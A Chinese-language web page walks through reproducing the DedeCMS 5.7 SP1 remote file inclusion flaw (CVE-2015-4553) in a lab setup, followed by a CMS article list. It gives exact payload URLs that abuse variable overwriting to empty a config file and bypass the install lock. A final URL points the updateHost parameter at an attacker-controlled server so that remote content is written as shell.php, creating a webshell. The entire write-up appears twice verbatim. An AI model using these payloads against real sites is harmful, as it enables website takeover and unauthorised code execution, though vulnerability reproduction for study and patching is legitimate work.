DedeCMS 5.7 sp1远程文件包含漏洞(CVE-2015-4553)
时间:2023年06月11日
/来源:网络
/编辑:佚名
一、漏洞描述
该漏洞在/install/index.php(index.php.bak)文件中,漏洞起因是$$符号使用不当,导致变量覆盖,以至于最后引起远程文件包含漏洞。
二、漏洞影响版本
DeDeCMS < 5.7-sp1,包括5.7 sp1版本
三、漏洞环境搭建
1、下载DeDeCMS V5.7 SP1,然后放到phpstudy环境下的www目录下,然后浏览器访http://192.168.10.171/dedecms/uploads/install/index.php
2、点击我已阅读并继续。然后是环境检测,保存默认即可
3、接下来是参数配置,需要设置的只有数据库密码,把自己的密码填上去就行了
4、然后就把环境搭好了
四、漏洞复现
1、查看/install/index.php源码,发现存在变量覆盖漏洞,该代码的意思是将get,post或者cookie方式传入的值通过foreach以键值对的方式输出,例如在url中输入?str=hello,则$_k的值就是str,$_v的值就是hello,所以${$_k}就是$str, 后面的RunMagicQuotes函数在另一个文件中定义的,大致就是对参数进行过滤然后返回参数内容。
2、尝试通过变量覆盖重装网站,浏览器访问
3、变量覆盖后,直接进入安装界面,但是由于安装锁的存在不能继续重新安装,除非删除安装锁http://192.168.10.171/dedecms/uploads/install/index.php?insLockfile=1
4、只有变量覆盖暂时还不够,继续浏览代码,发现最后几行代码
4.1、这段代码首先包含了/data/admin/config_update.php文件, 这里定义了变量updateHost
文件内容如下:
4.2、继续看373-387行代码,$updateHost与dedecms/demodata.{$a_lang}.txt拼接为字符串,并利用files_get_contents函数读取demodata.{$s_lang}.txt文件内容,最后将该文件内容写入到$install_demo_name参数中。
4.3、因此我们可以结合上面的变量覆盖漏洞来进行远程文件包含,直接写webshell。
5、由于$updateHost变量是引入进来的,所以不能直接进行覆盖,需要先将config_update.php文件清空再包含。
5.1、这时候可以利用fopen函数来实现,可以看到fopen中的参数是w,会直接重写文件,而file_get_contents读取文件失败会返回NULL
5.2、然后利用fwrite函数,这里可以利用变量覆盖,将$s_lang随意取名成不存在的文件名, $install_demo_name指向”../data/admin/config_update.php”,为了程序能够执行到这里,需要将$step设置为11,这样就达到了清空config_update.php的目的。
构造payload: http://192.168.10.171/dedecms/uploads/install/index.php?step=11&s_lang=test&install_demo_name=…/data/admin/config_update.php
浏览器访问,提示如下
5.3、查看代码,发现这里有一个判断文件是否存在(也就是判断网站是否安装)的条件,通过变量覆盖漏洞将$insLockfile构造成任意不存在的文件就可以绕过这个条件的限制
5.4、再次构造payload:
http://192.168.10.171/dedecms/uploads/install/index.php?step=11&s_lang=test&insLockfile=test&install_demo_name=../data/admin/config_update.php
5.5、此时可以看到config_update.php会发现已经变为0kb,空文件
5.6、config_update.php文件内容被清空之后,这时我们就可以控制updateHost参数了,这时我们就可以开始远程文件包含上传我们想要上传的文件了
5.7、在kali上创建一个dedecms文件夹,然后创建一个demodata.gb2312.txt,写入<?php phpinfo();?> ,然后开启web服务
5.8、再次构造payload, install_demo_name改为要上传的路径,updateHost改为远程目标机的IP
Payload如下:
http://192.168.10.171/dedecms/uploads/install/index.php?step=11&insLockfile=test&install_demo_name=../shell.php&updateHost=http://192.168.10.140/
浏览器访问,出现界面说明写入成功
5.9、查看是否上传成功,确定上传成功
6、浏览器访问上传的shell.php
参考: https://www.cnblogs.com/s1ye/p/9108780.html
该漏洞在/install/index.php(index.php.bak)文件中,漏洞起因是$$符号使用不当,导致变量覆盖,以至于最后引起远程文件包含漏洞。
二、漏洞影响版本
DeDeCMS < 5.7-sp1,包括5.7 sp1版本
三、漏洞环境搭建
1、下载DeDeCMS V5.7 SP1,然后放到phpstudy环境下的www目录下,然后浏览器访http://192.168.10.171/dedecms/uploads/install/index.php
2、点击我已阅读并继续。然后是环境检测,保存默认即可
3、接下来是参数配置,需要设置的只有数据库密码,把自己的密码填上去就行了
4、然后就把环境搭好了
四、漏洞复现
1、查看/install/index.php源码,发现存在变量覆盖漏洞,该代码的意思是将get,post或者cookie方式传入的值通过foreach以键值对的方式输出,例如在url中输入?str=hello,则$_k的值就是str,$_v的值就是hello,所以${$_k}就是$str, 后面的RunMagicQuotes函数在另一个文件中定义的,大致就是对参数进行过滤然后返回参数内容。
2、尝试通过变量覆盖重装网站,浏览器访问
3、变量覆盖后,直接进入安装界面,但是由于安装锁的存在不能继续重新安装,除非删除安装锁http://192.168.10.171/dedecms/uploads/install/index.php?insLockfile=1
4、只有变量覆盖暂时还不够,继续浏览代码,发现最后几行代码
4.1、这段代码首先包含了/data/admin/config_update.php文件, 这里定义了变量updateHost
文件内容如下:
4.2、继续看373-387行代码,$updateHost与dedecms/demodata.{$a_lang}.txt拼接为字符串,并利用files_get_contents函数读取demodata.{$s_lang}.txt文件内容,最后将该文件内容写入到$install_demo_name参数中。
4.3、因此我们可以结合上面的变量覆盖漏洞来进行远程文件包含,直接写webshell。
5、由于$updateHost变量是引入进来的,所以不能直接进行覆盖,需要先将config_update.php文件清空再包含。
5.1、这时候可以利用fopen函数来实现,可以看到fopen中的参数是w,会直接重写文件,而file_get_contents读取文件失败会返回NULL
5.2、然后利用fwrite函数,这里可以利用变量覆盖,将$s_lang随意取名成不存在的文件名, $install_demo_name指向”../data/admin/config_update.php”,为了程序能够执行到这里,需要将$step设置为11,这样就达到了清空config_update.php的目的。
构造payload: http://192.168.10.171/dedecms/uploads/install/index.php?step=11&s_lang=test&install_demo_name=…/data/admin/config_update.php
浏览器访问,提示如下
5.3、查看代码,发现这里有一个判断文件是否存在(也就是判断网站是否安装)的条件,通过变量覆盖漏洞将$insLockfile构造成任意不存在的文件就可以绕过这个条件的限制
5.4、再次构造payload:
http://192.168.10.171/dedecms/uploads/install/index.php?step=11&s_lang=test&insLockfile=test&install_demo_name=../data/admin/config_update.php
5.5、此时可以看到config_update.php会发现已经变为0kb,空文件
5.6、config_update.php文件内容被清空之后,这时我们就可以控制updateHost参数了,这时我们就可以开始远程文件包含上传我们想要上传的文件了
5.7、在kali上创建一个dedecms文件夹,然后创建一个demodata.gb2312.txt,写入<?php phpinfo();?> ,然后开启web服务
5.8、再次构造payload, install_demo_name改为要上传的路径,updateHost改为远程目标机的IP
Payload如下:
http://192.168.10.171/dedecms/uploads/install/index.php?step=11&insLockfile=test&install_demo_name=../shell.php&updateHost=http://192.168.10.140/
浏览器访问,出现界面说明写入成功
5.9、查看是否上传成功,确定上传成功
6、浏览器访问上传的shell.php
参考: https://www.cnblogs.com/s1ye/p/9108780.html
新闻资讯 更多
- 【织梦cms教程】dedecms5.7转帝国cms7.2方法03-02
- 【织梦cms教程】dedecms(织梦)自定义表单后台显示不全 自定义模型当中添加自定义字段后在后台添加内容后不显示解决方案03-01
- 【织梦cms教程】织梦DEDECMS网站首页如何实现分页翻页02-09
- 【织梦cms教程】织梦网站如何变成动态02-09
- 【织梦cms教程】织梦DEDECMS导航下拉菜单的实现方法02-08
- 【织梦cms教程】DedeCMS帝国备份王织梦系统网站搬家02-08
- 【织梦cms教程】织梦DedeCMS相关文章的调用方法01-27
- 【织梦cms教程】【织梦二次开发】dedecms删除文章同时删除附件01-21
热门文章
- 178Moban源码谈谈免费源码与收费源码的区别
- 2帝国CMS忘记后台登陆用户名、密码、认证码的解决方法
- 3帝国CMS(EmpireCMS) v7.5后台任意代码执行漏洞及具体修复方法
- 4帝国CMS和WordPress 哪个好?哪个适合建站?
- 5如何解决Discuz的密码错误次数过多请15分钟后登陆的问题
- 6帝国cms灵动标签取得内容和栏目链接地址
- 7emlog pro 注册码“开心”教程(如果有一天,emlog官方版 或者 emlog免费版 跑路了,那用户怎么办?)
- 8织梦CMS在nginx下设置伪静态方法(附nginx伪静态规则)
- 9帝国cms后台登录出现”您还未登录”怎么解决?
- 10帝国cms7.5忘记登录密码 和忘记登录认证码以及多次登录 失败被锁定解决办法